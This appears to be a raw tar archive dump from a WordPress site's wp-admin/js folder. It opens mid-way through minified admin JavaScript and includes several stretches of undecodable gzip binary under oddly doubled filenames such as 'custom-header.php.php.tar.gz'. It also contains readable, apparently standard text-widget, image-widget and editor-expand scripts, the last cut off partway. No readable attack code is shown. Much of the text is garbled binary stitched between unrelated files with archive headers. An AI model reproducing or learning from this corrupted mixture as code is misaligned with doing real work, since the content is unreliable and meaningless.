t,n;q.hasClass("update-php")&&(t=e("a.update-from-upload-overwrite"),n=e(".update-from-upload-expired"),t.length)&&n.length&&$.setTimeout(function(){t.hide(),n.removeClass("hidden"),$.wp&&$.wp.a11y&&$.wp.a11y.speak(n.text())},714e4)}),V.on("resize.wp-fire-once",function(){$.clearTimeout(t),t=$.setTimeout(d,200)}),"-ms-user-select"in document.documentElement.style&&navigator.userAgent.match(/IEMobile\/10\.0/)&&((n=document.createElement("style")).appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")),document.getElementsByTagName("head")[0].appendChild(n))}(jQuery,window),function(){var e,i={},o={};i.pauseAll=!1,!window.matchMedia||(e=window.matchMedia("(prefers-reduced-motion: reduce)"))&&!e.matches||(i.pauseAll=!0),i.freezeAnimatedPluginIcons=function(l){function e(){var e=l.width,t=l.height,n=document.createElement("canvas");if(n.width=e,n.height=t,n.className=l.className,l.closest("#update-plugins-table"))for(var i=window.getComputedStyle(l),o=0,a=i.length;o<a;o++){var s=i[o],r=i.getPropertyValue(s);n.style[s]=r}n.getContext("2d").drawImage(l,0,0,e,t),n.setAttribute("aria-hidden","true"),n.setAttribute("role","presentation"),l.parentNode.insertBefore(n,l),l.style.opacity=.01,l.style.width="0px",l.style.height="0px"}l.complete?e():l.addEventListener("load",e,!0)},o.freezeAll=function(){for(var e=document.querySelectorAll(".plugin-icon, #update-plugins-table img"),t=0;t<e.length;t++)/\.gif(?:\?|$)/i.test(e[t].src)&&i.freezeAnimatedPluginIcons(e[t])},!0===i.pauseAll&&o.freezeAll(),e=jQuery,"plugin-install"===window.pagenow&&e(document).ajaxComplete(function(e,t,n){n.data&&"string"==typeof n.data&&n.data.includes("action=search-install-plugins")&&(window.matchMedia?window.matchMedia("(prefers-reduced-motion: reduce)").matches&&o.freezeAll():!0===i.pauseAll&&o.freezeAll())})}();custom-header.php.php.tar.gz000064400000000523150276633110012013 0ustar00��R�N�0�9_��ЪM�G�C�� P+q�D%��k/Ģq���g��8p�=B�K�{g�;yY`��SN���A븵�A���߫��"���,z9r�&��}$��h�e���A��&�,��� �z?')$Gh��/nH�'�� .�h�A��Ё�fɰY2��� XaT�"���e�,<�5=%Vw(�P[�p��ź�hc��4���i~�PJ[G���ׇ��F�(i����Si�j���W;b�5�u�b\jb� `�V�����yAo�����v�F'�`�=	��Scs��6�k�z#�je��Z�ћ��t9��x�I��I9�3�>��media-upload.min.js.min.js.tar.gz000064400000001324150276633110012632 0ustar00��U�j�@�s�Bނ�֫K�R�"4��>}(%l�#{SiW���ޑ�I�(��f0�tf�̙�E��
#Q���<J�*�m���H�J���'(-��.�T1a��$K�N��8Y���/�N�������~:�A�4�߳�vT�O�-y�	�&��.!�٠��`�I�N^δQv{0��5��.+���&D~?�.�3��6�X'�y
�P�y��0����؏t��wD7�Kv����un<|�GPz\�������}X��yH�A�Ֆ�c�l���Ҡ����J�	��p�{[UҨ�Q�Oƃ�� d�s$��Ų�X�;i\Ce���%����O�q��T�
�2�hƛk��G7��|�K�'�B�ݏ�{����Ew�[m3j����*�q��x<�
'!�
�	��	4���[�������jxA�8������K0c��fmVK�ij��{�9�8J9��ĵ��[
:�D��u�p���2�ጳe.�ݳJ��6Q	�!�Xo�o���[%=V߱S�U�v�l�����y	q%ᄡ9�;�z�O{v�.6��Ri�G�e����w$$m�(��X":������3�臱���9�Iw�p�5��|�%c��{����n�=�fb=��y�&���#�|�bw,H0����L쵰w��6#��܀����~�=۳=۳����c��media-widgets.min.js.min.js.tar.gz000064400000011252150276633110013015 0ustar00��[ms����
�Q��R��t� �u�t�Ƶ�惤p@�(�X�(Z��߻�wx)e�i;��e���ݾ>�wZ�k1V��Z	5�2��0Ϸ���(]�w�Q�����;����"���~y���?:�3��/�=�m�L>�싧�>:�|���Ͽ|���C�ӧO��l09I��l�,��X��g��pp���`)1���V���Dj>�n��H�?�˭��L��{��� י�4�ކ�`�T�,M^�
:��N����:�E��0̈́�fj��^�,��J�Q�$�{#���&�^.�0��mx�~"2�y�=L���TR�0��~�K����B��y�8���*Tq"�뼀��\~j�M��T�m�W��EaAX�~�vcK8�v:,���խc3�ˡ[x��.�Z�@=6����:xA.N2�:�]�q�BR�K�K�E�]��=~fX������,�K�,m��H���f����fI�{�%�E�p�_��������z!�K���p_�?�D��}�O�p�3�a�C<q���ɣ]����o��<3l�� �BŐ��;�N���%8�U�u�s� ϑg'61�9-�t|�)Y�~��q�l�N�%\$"�?ɽM���}Й͂�e��H�i�3�^N��OD�-���1Zod��D�qXl�g����,K���ZF���L���O�y2�(Z��13P�D����wD�ᅧ�� J ��1G$đ�3h�	�Y�&�}���|�{�J��qy��6�ؠ4؇��z��p�n�9r�W��߯�:�ŁF�	P�c�cZ�9���C�����41%�w�����Gnވ�v��9�PG+g����zs���5�{O��c�&�Y��c�. 5ZJ���8~�|u�T�`g1�^��9É[s�-�,�~Dc�����8�q+�R������a�
d�aҋ���Cс#C��&�
p��3\��F1u-�hE,2s
g'
��"��|r���|��:�V�>n��q����v�J@��2����
\W�p���+���t'�a'/���s�vO�OƮ;����|�on��G�<[~)���'�3�x,��t�)O��
v��r��Ϣ�h�o�H�h��ˁ��I�g�����ʻK�z�W��ƴ���s��;�*"G�U�h�?Ɖ�<�ё)�ۀ=!FU\�(�
�>����[�����#1*�*K��A,�F�p����=�3���KM�
л�f��ݦ
��%G�Z�?<?p�<�����.��]�BlC�Ch��nދS%�����4#ZGL�C_薄��ap�S̥�RT-�]�����M��c��$<M��g/_���\8�)E�BƎ��p��j~�nZ�,1��|��4���6�xRY�b�~C1�eiU��*�u��3xC@��,M@nK��t�������3	P+
���N7�|}p��W��ȥ�����Kd��
����"�S�N��8
5qV���Y6W|~:���lJ5*hC�![��W�xb�P6;n�lM������1<�0@�����6�T$'��p��-p��Id��Z<4�X�-�Z�N�R��n^���:��&K���H�B���
i[�kb����>%4��t�~{
>	��;ҁ�m4+߄)X���\ߡ��f�AIX�b#[))|���VBR��+mN<Jd�K������0��M���_A���Y�7��w����焂�=h��<�\���������`˥����@^`���1�h���j:g�rpmxq�/��
&ݯ{R��_��7a��Ÿ���39�(~i�ӹ�0|�o6�c����9p��|�8*��h23�3�s����2��F�/��"~���&�}[��Ne� a�`Dk��Is�1`ޑX�	p���ڒ~�~���ډ�ޚ�\:M�O�%��C�"��U$��!���u�*Kw��\��`�7(}�C�X:C�gԆ�w*B�3��3�
�lZ4!��0K#���У��Iΐ�"�Nm�3*�19�B��JT�y�	�b :���M��s���^Oy����m�J�e�$Jr����+�����ژ�]@���9^!"WP���#�X&���&ij�����zyM-�`��b�����B�	�����7/�h=s��U�ͯ�}�F�d�lLm�s��i�h��ѷ_1������4�#��N�r�b3���Z�(X��}oP`D@� �CJ!p�A�p�����G	�nQ^��)XUP}������Q3 ���㣷I��X�ă���^}	�J�����v�X���g�soѢa�Ub�p^��b�UC�ƹS�Z�y��_�^��"��c���kT�-+f]��`	n��*��2�͹XI�a}��0�z_�gF�DƇ�T�;N�*����$}�+Q�sj
H=*���63xwdӼwS�F��@)�� �,d�W��=\�u�B�s��Z���}c!��*���f�m��m�-���p��w�5i�1�@0s�US �V5�iw���$�de��,�0�)F��J��K}M���3������ޥ�g���E��O��;�7��
P����h��� ���T�zE�0ଶ��3`M䰏5�L3dOH`6�?a��9�k��zA��Z�!1=
 ��9((�i6h�++MG]�.7����d.���T������HO^�M1p���v�bB�̝���o�2.h��W�󸡦ӛ��(*y�-�S��.���rc�`
�o�	G�]��8%�:-#�a��uS�
p|�
v�Z�͖-څ��2�7)j���b��dbHq�S�~��*?�
"9^+7�c,��K�ΰ�N���,6u0��y]���y��}��t �Q'"�ꨦ�C�uv�za�N���伪�Vp, ��0/��<���o�)Ԇ��r��h#˴�h}����TT��������ߑ\pZr3{1\��K��[�o7�4�sDht2�X)\�V ]�Em��^��}�b��n��ӧ��KpD	�c
ȕ��ݩytՊ���VO�:'���+�s��o�t])DD���u��j��c6���a0Ah*������<��r���Gx8
*x�wp�^Y�k��� VJ����ף7��$�?�',�������;�(��RW����e]4��X�1S`��5 �y��ۂ�I�h66�A�ʑ?'��}�e�ME��-
��c��1 ��'��Cd^�`J�{]�*k����yQq(- �X���y�닠��dU��邟ܭm�4��1o���V;��S��ѕ5�a���V���Ӂql�v��:(���ok�t��k,��"71�1=�f�y!$��!$���?�.��{ݼJ��Ml��I�+į��N�0F
����}�W<�?��+�I�X�U����:�7��@s�/ ��@�^,%њ���Me��~tMV{�%�&��L�O��c�\����O A���%�b�(
��D�E�o�	�xZ�6�ES�gg��C��A�@��TA��J�gg����'c���m���m`\-�����#tB�t�r�lr��ր�
llԢ'ut��I�h��T�;��=̌/e[+���ꢎ+Q�D��&���!���!����/}����2~�Qo�?��+���^��$���~nj5�����y�F�Ŏ&��<ͷ<6������yL9
���1,hֻ�������&�T�5��-D6w�,�̛q[��X˛�������#�#cp>N�P|��#=���Nӱ�����Gqi���<5��%��IB�*�!#a���2��f�
p�qP�\��H�,��ϴ�ieT��N�� m�9ܙ�^K�K,ԁ�X�2�c0�:3�K��n[�1��_8sv�ƻ�s�	�\|�5��	�U�S����ոu�<�i��~�I�Q����3�af��l����z��:װ�е��1�s-���M�a��>?O,6�����K+2�]��ǓkoW���QU���<�E�h
'�!�y��|WZ��
�a�fk>���+I�U�m��٫ �uI�E������U1�\�L���%}��]~�'��t�<`���y�jׇTG�������aF�G��A���[�D�B�8���^2Ȁw�'uyH�eM��Q��7p�!fε?��4��=a�YpX^����r-ҭvr�9�B:=�i^e�]]���8k;�%D�v��<�g�r�EЭ#r��("�I���B��X(J�GP�Ϭ�j��h��6�iG	��QH��}�	�ӧj�_��UK{V6�S�2�����e�-S5-�\�hR���Z�U-!�/� ��5�����Be������v\o	��.S�w|��]�]�C�멢t�O����H�#�)�m�V�!@��tG��}I��.�����%�擌�JǘaE)�s��X�X_P*����� ?�_�v&Z�pyTg�%�c$߁ҝ�	o�Jw ��t��<��p��u>oC�����R�`�^Ql��м�����P���p�Gͱ�������)����7��r�ۦ�MY����D���Y���9�
�n��asG��E�����������o?�?�ЏT�>text-widgets.js.tar000064400000047000150276633110010324 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/text-widgets.js000064400000043201150267261370021375 0ustar00/**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	'use strict';

	var component = {
		dismissedPointers: [],
		idBases: [ 'text' ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'text-widget-fields' );
			control.$el.html( wp.template( 'widget-text-control-fields' ) );

			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
					control.dismissPointers( [ 'text_widget_custom_html' ] );
				});
				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
				});
			}

			control.fields = {
				title: control.$el.find( '.title' ),
				text: control.$el.find( '.text' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( 'dismiss-wp-pointer', {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( '.sync-input.text' );
			if ( control.fields.text.is( ':visible' ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( 'id' );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save & Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
					 */
					if ( wp.customize && wp.customize.state ) {
						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
						_.delay( function() {
							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
					textarea.trigger( 'change' );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === 'undefined' ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += ',wpview';
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( '.close' ).trigger( 'focus' );
					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
						return $( this ).text();
					} ).get().join( '\n\n' ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( 'Failed to initialize editor' );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( 'pagehide', function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, 'html' );
					}

					// Show the pointer.
					$( '#' + id + '-html' ).on( 'click', function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( '#' + id + '-tmce' ).on( 'click', function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( 'pastepreprocess', function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( 'init', onInit );
				}

				control.editorFocused = false;

				editor.on( 'focus', function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( 'paste', function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( 'NodeChange', function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( 'blur hide', function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );
media-image-widget.min.js.tar000064400000007000150276633110012072 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-image-widget.min.js000064400000003750150270036560023147 0ustar00/*! This file is auto-generated */
!function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery);editor-expand.js000064400000123157150276633110007662 0ustar00/**
 * @output wp-admin/js/editor-expand.js
 */

( function( window, $, undefined ) {
	'use strict';

	var $window = $( window ),
		$document = $( document ),
		$adminBar = $( '#wpadminbar' ),
		$footer = $( '#wpfooter' );

	/**
	 * Handles the resizing of the editor.
	 *
	 * @since 4.0.0
	 *
	 * @return {void}
	 */
	$( function() {
		var $wrap = $( '#postdivrich' ),
			$contentWrap = $( '#wp-content-wrap' ),
			$tools = $( '#wp-content-editor-tools' ),
			$visualTop = $(),
			$visualEditor = $(),
			$textTop = $( '#ed_toolbar' ),
			$textEditor = $( '#content' ),
			textEditor = $textEditor[0],
			oldTextLength = 0,
			$bottom = $( '#post-status-info' ),
			$menuBar = $(),
			$statusBar = $(),
			$sideSortables = $( '#side-sortables' ),
			$postboxContainer = $( '#postbox-container-1' ),
			$postBody = $('#post-body'),
			fullscreen = window.wp.editor && window.wp.editor.fullscreen,
			mceEditor,
			mceBind = function(){},
			mceUnbind = function(){},
			fixedTop = false,
			fixedBottom = false,
			fixedSideTop = false,
			fixedSideBottom = false,
			scrollTimer,
			lastScrollPosition = 0,
			pageYOffsetAtTop = 130,
			pinnedToolsTop = 56,
			sidebarBottom = 20,
			autoresizeMinHeight = 300,
			initialMode = $contentWrap.hasClass( 'tmce-active' ) ? 'tinymce' : 'html',
			advanced = !! parseInt( window.getUserSetting( 'hidetb' ), 10 ),
			// These are corrected when adjust() runs, except on scrolling if already set.
			heights = {
				windowHeight: 0,
				windowWidth: 0,
				adminBarHeight: 0,
				toolsHeight: 0,
				menuBarHeight: 0,
				visualTopHeight: 0,
				textTopHeight: 0,
				bottomHeight: 0,
				statusBarHeight: 0,
				sideSortablesHeight: 0
			};

		/**
		 * Resizes textarea based on scroll height and width.
		 *
		 * Doesn't shrink the editor size below the 300px auto resize minimum height.
		 *
		 * @since 4.6.1
		 *
		 * @return {void}
		 */
		var shrinkTextarea = window._.throttle( function() {
			var x = window.scrollX || document.documentElement.scrollLeft;
			var y = window.scrollY || document.documentElement.scrollTop;
			var height = parseInt( textEditor.style.height, 10 );

			textEditor.style.height = autoresizeMinHeight + 'px';

			if ( textEditor.scrollHeight > autoresizeMinHeight ) {
				textEditor.style.height = textEditor.scrollHeight + 'px';
			}

			if ( typeof x !== 'undefined' ) {
				window.scrollTo( x, y );
			}

			if ( textEditor.scrollHeight < height ) {
				adjust();
			}
		}, 300 );

		/**
		 * Resizes the text editor depending on the old text length.
		 *
